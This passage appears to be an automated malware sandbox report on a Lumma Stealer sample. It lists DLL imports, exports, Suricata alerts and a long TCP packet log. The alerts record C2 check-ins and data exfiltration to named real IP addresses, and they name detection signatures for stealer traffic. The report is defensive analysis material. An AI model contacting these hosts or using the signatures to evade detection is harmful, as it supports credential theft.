api-ms-win-crt-convert-l1-1-0.dll	_ltow_s, wcstoul, strtoul, atol, _wtoi, atoi, strtoull, _itow_s, _wcstoui64
api-ms-win-crt-heap-l1-1-0.dll	calloc, _set_new_mode, malloc, realloc, free
api-ms-win-crt-utility-l1-1-0.dll	qsort
api-ms-win-crt-math-l1-1-0.dll	_CIsinh, __libm_sse2_acos, _CIfmod, _CIcosh, _CIatan2, _copysign, modf, _dclass, __libm_sse2_asin, __libm_sse2_atan, __libm_sse2_atan2, __libm_sse2_cos, __libm_sse2_exp, __libm_sse2_log, __libm_sse2_log10, __libm_sse2_pow, __libm_sse2_sin, __libm_sse2_tan, _libm_sse2_acos_precise, _libm_sse2_asin_precise, log2, atanh, acosh, cbrt, asinh, asinhf, atanhf, cbrtf, acoshf, log2f, _libm_sse2_atan_precise, _libm_sse2_cos_precise, _libm_sse2_exp_precise, _libm_sse2_log10_precise, _libm_sse2_log_precise, _isnan, _libm_sse2_pow_precise, _libm_sse2_sin_precise, _CItanh, _libm_sse2_sqrt_precise, _libm_sse2_tan_precise, _fdopen, ceil, floor, trunc, truncf, ilogb, ilogbf, _finite, fma, frexp, fmaf, _ldclass, __setusermatherr
api-ms-win-crt-time-l1-1-0.dll	_time64, wcsftime, _gmtime64_s
api-ms-win-crt-environment-l1-1-0.dll	getenv
api-ms-win-crt-locale-l1-1-0.dll	__pctype_func, ___mb_cur_max_func, setlocale, _unlock_locales, ___lc_locale_name_func, ___lc_codepage_func, localeconv, _lock_locales, _configthreadlocale
api-ms-win-crt-filesystem-l1-1-0.dll	_wrename, _lock_file, _unlock_file, _wremove

Exports

Name	Ordinal	Address
CLRJitAttachState	3	0xa6822c
DotNetRuntimeInfo	4	0xa5d610
MetaDataGetDispenser	5	0x87f490
g_CLREngineMetrics	2	0xa5d080
g_dacTable	6	0x93ba88

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T12:10:05.973273+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49733	194.15.46.236	8397	TCP
2024-11-24T12:10:26.552372+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	172.67.74.152	443	TCP
2024-11-24T12:10:28.429848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	34.117.59.81	443	TCP
2024-11-24T12:11:31.829040+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49799	172.67.74.152	443	TCP
2024-11-24T12:12:28.979790+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49924	172.67.178.191	443	TCP
2024-11-24T12:12:29.684762+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49924	172.67.178.191	443	TCP
2024-11-24T12:12:29.684762+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49924	172.67.178.191	443	TCP
2024-11-24T12:12:31.106971+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49930	172.67.178.191	443	TCP
2024-11-24T12:12:31.819539+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49930	172.67.178.191	443	TCP
2024-11-24T12:12:31.819539+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49930	172.67.178.191	443	TCP
2024-11-24T12:12:33.851374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49937	172.67.178.191	443	TCP
2024-11-24T12:12:36.192280+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49943	172.67.178.191	443	TCP
2024-11-24T12:12:38.482823+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49949	172.67.178.191	443	TCP
2024-11-24T12:12:41.138423+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49956	172.67.178.191	443	TCP
2024-11-24T12:12:41.858127+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49956	172.67.178.191	443	TCP
2024-11-24T12:12:43.612889+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49962	172.67.178.191	443	TCP
2024-11-24T12:12:43.620590+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49962	172.67.178.191	443	TCP
2024-11-24T12:12:47.031513+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49972	172.67.178.191	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 12:10:04.387994051 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:04.510209084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:04.513263941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:04.523289919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:04.642875910 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973143101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973165989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973176003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973187923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973196983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973222971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973232031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973241091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973249912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973261118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:05.973273039 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:05.973354101 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:05.976990938 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.093069077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.093120098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.093189955 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.097280025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.140153885 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.186794996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.212579966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.212590933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.224033117 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.259613991 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.259627104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.259691954 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.306298018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306540012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306550980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306560040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306571007 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306580067 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306591034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306600094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306605101 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.306610107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306622028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306632996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306648016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306653976 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.306662083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306673050 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306677103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.306682110 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306693077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306694984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.306704998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.306715012 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.306755066 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.343960047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.344017029 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.344065905 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.348238945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.348298073 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.403728008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.403779984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.403912067 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.408015013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.408101082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.408160925 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.416579008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.416683912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.416743040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.425118923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.425261021 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.425324917 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.433760881 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.433835983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.433903933 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.442290068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.442384005 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.442445993 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.450881958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.451008081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.451071024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.456231117 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.456310987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.456379890 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.461528063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.461631060 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.461695910 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.466912031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.466922045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.467012882 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.472167015 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.472259045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.472313881 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.477524042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.477598906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.477663040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.482810020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.482909918 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.482971907 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.487905979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.487993002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.488053083 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.492911100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.493009090 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.493073940 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.497999907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.498060942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.498137951 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.503042936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.503138065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.503210068 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.508161068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.508183956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.508253098 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.513128996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.513235092 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.513282061 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.518459082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.518522024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.518595934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.523248911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.523363113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.523483038 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.528487921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.528543949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.528615952 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.533708096 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.533804893 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.533871889 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.538431883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.538511038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.538569927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.621732950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.621825933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.621932030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.623301983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.623383999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.623447895 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.626633883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.626802921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.626853943 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.629878998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.630026102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.630074978 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.633135080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.633239031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.633296013 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.636420012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.636558056 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.636610985 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.639682055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.639830112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.639888048 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.642983913 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.643098116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.643151045 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.646295071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.646409035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.646471977 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.649492025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.649631023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.649687052 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.652816057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.652937889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.653104067 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.656299114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.656423092 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.656477928 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.659006119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.659126997 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.659178972 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.661840916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.661942005 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.661997080 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.663861990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.663985014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.664033890 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.665927887 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.666040897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.666146040 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.668067932 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.668186903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.668241978 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.669996023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.670109034 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.670162916 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.672043085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.672168016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.672223091 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.674082041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.674212933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.674288988 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.676129103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.676230907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.676282883 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.678148031 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.678258896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.678306103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.680274010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.680363894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.680416107 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.682245970 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.682405949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.682463884 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.684303999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.684417009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.684468031 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.686501026 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.686578035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.686628103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.688431978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.688582897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.688632011 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.690516949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.690624952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.690679073 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.692536116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.692668915 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.692718029 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.694843054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.694905996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.694956064 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.696660042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.696762085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.696813107 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.698961020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.699052095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.699106932 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.700758934 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.700850010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.700906992 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.702773094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.702892065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.702959061 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.704796076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.704924107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.704976082 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.707091093 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.707146883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.707201004 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.709115028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.709230900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.709281921 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.710987091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.711102009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.711167097 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.713119984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.713253975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.713304043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.715080023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.715271950 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.715333939 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.741415024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.796514988 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.832216978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.832314968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.832478046 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.833050013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.833326101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.833368063 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.833379984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.835021019 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.835066080 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.835107088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.836705923 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.836760044 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.836760998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.838381052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.838433027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.838501930 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.840085030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.840142012 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.840171099 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.841777086 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.841820002 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.841890097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.843883038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.843950033 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:06.843977928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.845429897 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:06.845480919 CET	49733	8397	192.168.2.4	194.15.46.236
